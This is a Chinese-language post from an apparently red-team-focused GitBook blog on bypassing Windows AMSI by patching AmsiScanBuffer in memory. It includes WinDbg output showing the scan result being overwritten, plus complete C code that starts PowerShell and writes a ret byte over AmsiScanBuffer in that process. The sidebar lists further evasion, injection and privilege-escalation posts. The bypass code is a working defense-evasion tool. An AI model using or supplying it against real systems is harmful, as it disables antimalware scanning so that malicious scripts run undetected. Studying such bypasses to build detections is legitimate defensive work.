idiotc4t's blog
  • 关于这个博客
  • 武器设计
    • 我也不知道能不能写
    • C2手稿
      • Heap加密
      • 数据打包DataPacker
      • 真·手稿
      • 实现UML图
    • 先占个位置
  • 武器化
    • COM组件相关的武器化开发技术
    • 攻击demo的bof改造
    • Go项目反射改造
    • VulnBins的利用 (vuln driver)
  • 红队研究
    • NtQueryInformationProcess逆向
    • NetUserAdd逆向
  • 应急响应
    • WannaMine4.0专杀的一些技巧
  • 防御逃避
    • ReflectiveDLLInjection变形应用
    • Execute-Assembly实现
    • ShadowMove复现与思考
    • 载入第二个Ntdll绕Hook
    • 编译时混淆字符串&函数调用
    • 基于线程结束的EventLog绕过
    • 动态获取系统调用(syscall)号
    • 基于内存补丁的AMSI绕过
    • 基于API Hook和DLL注入的AMSI绕过
    • 基于内存补丁ETW的绕过
    • 基于断链的DLL隐藏
    • 基于HEX字符串执行的AV绕过
    • CobaltStrike Argue命令实现
    • 简单的分离免杀
    • 伪装PPID规避检测
    • 伪装命令行规避检测
    • 通过重写ring3 API函数实现免杀
    • 动态调用无导入表编译
    • 基于Registry的虚拟机检测
    • 利用杀毒软件删除任意文件
    • 反转字符串绕杀软
    • 重新加载.text节拖钩
    • x64转换层&跨位数进程注入
  • 代码与进程注入
    • Divide and Conquer
    • Clipboard Data Deliver
    • .NET Reflective Injection
    • APC Thread Hijack
    • CreateRemoteThread
    • APC Injection
    • Mapping Injection
    • Bypass Session 0 Injection
    • WhiteFile Offset Table Generate Shellcode
    • Early Bird
    • Early Bird & CreateRemoteThread
    • TLS Code Execute
    • SEH Code Execute
    • APC & NtTestAlert Code Execute
    • NtCreateSection & NtMapViewOfSection Code Execute
    • Process Hollowing
    • SetContext Hijack Thread
    • DLL Hollowing
  • 权限提升
    • 基于注册表劫持BypassUAC
    • 基于dll劫持BypassUac
    • 通过com组件BypassUAC
    • 通过复制Token提权到SYSTEM
    • 通过code&dll注入提权到SYSTEM
    • 通过伪装PPID提权到SYSTEM
    • 通过系统服务提权到SYSTEM
  • 权限维持
    • 主机特征绑定木马
    • 寻找有价值的文件
    • 获取机器安装的软件
    • 通过API添加Windows用户
    • Detours InLine Hook
    • DLL劫持
    • RID劫持
    • 自启动服务
    • 编写简单远控
    • 注册表自启动项
由 GitBook 提供支持
在本页
  • AMSI简介
  • 技术原理&流程
  • 手工操作
  • 代码实现
  • LINKS

这有帮助吗?

  1. 防御逃避

基于内存补丁的AMSI绕过

上一页动态获取系统调用(syscall)号下一页基于API Hook和DLL注入的AMSI绕过

最后更新于4年前

这有帮助吗?

AMSI简介

AMSI的全称是反恶意软件扫描接口(Anti-Malware Scan Interface),是从Windows 10开始引入的一种机制。AMSI是应用程序和服务能够使用的一种接口,程序和服务可以将“数据”发送到安装在系统上的反恶意软件服务(如Windows Defender)。

服务和应用程序可以通过AMSI来与系统中已安装的反恶意软件通信。为了完成该任务,AMSI采用了hook方法。比如,AMSI会hook WSH(Windows Scripting Host)及PowerShell来去混淆并分析正在执行的代码内容。这些内容会被“捕获”,并在执行之前发送给反恶意软件解决方案。

在Windows 10上,实现AMSI的所有组件如下所示:

  • UAC(用户账户控制),安装EXE、COM、MSI或者ActiveX时提升权限

  • PowerShell(脚本、交互式使用以及动态代码执行)

  • Windows Script Host(wscript.exe或者cscript.exe)

  • JavaScript以及VBScript

  • Office VBA宏

AMSI整体架构如下图所示:

简单的说AMSI就是这玩意:

技术原理&流程

根据前人的研究,我们知道字符串是否敏感是由amsi.dll中的AmsiScanBuffer函数来进行判断的,而内存补丁是一种较为便捷的技术,我们可以对这个函数进行修补,使其丧失判断能力,这样我们就能自由执行任意powershell脚本,当然前提是脚本文件没有被杀软干掉。

实现方式有很多种,如注入一个内存修补功能的dll、获取amsiscanbuffer函数地址使用winapi进行修补。

这里我们使用获取函数地址对其进行修补,流程如下:

  1. 创建一个powershell进程

  2. 获取amsiscanbuffer函数地址

  3. 修改函数内存空间属性

  4. 修补函数执行体

前面文章有阐述过目前windows不同进程加载同一个系统模块的地址是一致的,所以我们可以使用本地加载dll获取对应函数地址去修补其他进程的该函数。

根据微软官方文档,AmsiScanBuffer函数应该返回HRESULT类型值,这是一个整数值,用来表示操作是否成功。在我们的例子中,如果该函数成功,那么就应当返回S_OK(0x00000000),否则应该返回HRESULT错误代码。

这个函数的主要功能是返回需要扫描的内容是否存在问题,这也是result变量会作为参数传递给AmsiScanBuffer函数的原因所在。这个变量的类型为AMSI_RESULT枚举类型。

对应的枚举原型如下所示:

typedef enum AMSI_RESULT {
    AMSI_RESULT_CLEAN,
    AMSI_RESULT_NOT_DETECTED,
    AMSI_RESULT_BLOCKED_BY_ADMIN_START,
    AMSI_RESULT_BLOCKED_BY_ADMIN_END,
    AMSI_RESULT_DETECTED
};

在函数执行过程中,待分析的内容会被发送到反恶意软件服务,后者会返回1到32762(含)之间的一个整数。整数值越大,则代表风险越高。如果证书大于或等于32762,那么就会将其判断为恶意数据,加以阻止。随后系统会根据返回的整数值来更新AMSI_RESULT变量值。

默认情况下,该变量处于“正常”(“无害”)值状态,因此,如果我们修改了函数指令,使其永远不会将待分析的内容发送给反恶意软件服务,并且返回S_OK HRESULT结果值,那么这些内容就会被当成无害数据。

在汇编语言中,EAX(32位)以及RAX(64位)寄存器始终包含函数的返回值。因此,如果EAX/RAX寄存器值等于0,并且如果执行了ret汇编指令,那么该函数就会返回S_OK HRSULT,不会将待分析数据发送给反恶意软件服务。

事实上对于字符串的拦截工作是在AmsiScanBuffer函数内完成的,并非在AmsiScanBuffer返回后由其他函数拦截,这也解释了为什么我们直接ret也能绕过AMSI(此时RAX内存放着AmsiScanBuffer的地址,无论如何也远大于32762)。

这里写的有问题,今天自己去调了一下,返回值 实际上是保存在堆栈对齐后的[rsp+28]的位置。

检讨一下这里确实主观臆测了。

现在我们测一下......

首先在AmsiScanBuffer下一个断点。

0:029> bm Amsi!AmsiScanBuffer
SYMSRV:  BYINDEX: 0x3
         c:\symbols*http://msdl.microsoft.com/download/symbols
         Amsi.pdb
         C010A935E7681F4F58B28C6AA852B23A1
SYMSRV:  PATH: c:\symbols\Amsi.pdb\C010A935E7681F4F58B28C6AA852B23A1\Amsi.pdb
SYMSRV:  RESULT: 0x00000000
DBGHELP: amsi - public symbols  
        c:\symbols\Amsi.pdb\C010A935E7681F4F58B28C6AA852B23A1\Amsi.pdb
  1: 00007ffb`56bd2710 @!"amsi!AmsiScanBuffer"

断下来的时候查看一下rdx(第二个参数);

0:004> g
Breakpoint 1 hit
amsi!AmsiScanBuffer:
00007ffb`56bd2710 4c8bdc          mov     r11,rsp
0:025> db rdx
000002d6`892c3984  22 00 41 00 6d 00 73 00-69 00 53 00 63 00 61 00  ".A.m.s.i.S.c.a.
000002d6`892c3994  6e 00 42 00 75 00 66 00-66 00 65 00 72 00 22 00  n.B.u.f.f.e.r.".
000002d6`892c39a4  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

使用pt命令执行到该函数的ret,单步执行跳出函数平衡堆栈,然后去查看rsp+28(第六个参数)。

0:025> dq rsp+28
000000fb`169ce328  000000fb`169ce418 00004cd9`c14878ba
000000fb`169ce338  00007ffb`307da9f0 000000fb`169cec40
000000fb`169ce348  00007ffa`fde3e510 00007ffa`fde3e510
000000fb`169ce358  000000fb`169ce300 00007ffa`fe8d75c7
000000fb`169ce368  000000fb`169ce3c0 00007ffa`fde3e510
000000fb`169ce378  000000fb`169ce418 000002d6`88b61420
000000fb`169ce388  00000000`00000009 000002d6`892c3978
000000fb`169ce398  000002d6`88b61420 000002d6`88be2290

由于是第六个参数是保存在堆栈的,同时传入的是一个指向AMSI_RESULT结构体(枚举类型)的指针,所以我们需要去查看一下指针指向的值。

0:025> dq 000000fb`169ce418
000000fb`169ce418  00000000`00008000 00000000`00000000
000000fb`169ce428  00000000`00000001 000002d6`892c7a30
000000fb`169ce438  000002d6`892c7f00 000002d6`892c7af0
000000fb`169ce448  000002d6`892c7fc8 000002d6`892c3978
000000fb`169ce458  00007ffa`fea6b645 00007ffa`ff42eb28
000000fb`169ce468  00007ffb`3003f4b3 000002d6`a0b99690
000000fb`169ce478  00007ffb`2d28b58e 00000000`ffffffff
000000fb`169ce488  000002d6`98b69ac0 00000000`00000000

可以看到保存到值是0x8000,也就是十进制的32768,这时我们修改掉他的值。

0:025> f 000000fb`169ce418 l8 0
Filled 0x8 bytes
0:025> dq 000000fb`169ce418
000000fb`169ce418  00000000`00000000 00000000`00000000
000000fb`169ce428  00000000`00000001 000002d6`892c7a30

继续运行。

手工操作

创建一个powershell进程

调试器附加并定位AmsiScanBuffer函数

修补该函数使其直接返回(具体细节大家可以使用ida和x64dbg跟一下)。

绕过AMSI。

代码实现

由于powershell版的内存补丁绕过在互联网上到处都是,且有被标黑,这里就不贴出来了(好吧其实是我懒),这里我们其实也有多种实现思路,可以查找运行中的powershell.exe进程来进行修补,也可以自己创建一个新的powershell进程进行修补,这里采用新创建的powershell进行修补。

#include <Windows.h>
#include <stdio.h>

int main() {
	STARTUPINFOA si = {0};
	PROCESS_INFORMATION pi = { 0 };
	si.cb = sizeof(si);

	CreateProcessA(NULL, (LPSTR)"powershell -NoExit dir", NULL, NULL, NULL, NULL, NULL, NULL, &si, &pi);

	HMODULE hAmsi = LoadLibraryA("amsi.dll");
	LPVOID pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");

	Sleep(500);

	DWORD oldProtect;
	char patch = 0xc3;

	VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
	WriteProcessMemory(pi.hProcess, (LPVOID)pAmsiScanBuffer, &patch, sizeof(char),NULL);
	VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, oldProtect, NULL);
	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);
	FreeLibrary(hAmsi);
	return 0;
}

LINKS

https://www.contextis.com/en/blog/amsi-bypasswww.contextis.com
Logo如何绕过AMSI - 安全客,安全资讯平台
How to bypass AMSI and execute ANY malicious Powershell codezc00l blog
Logo初探Powershell与AMSI检测对抗技术 - 安全客,安全资讯平台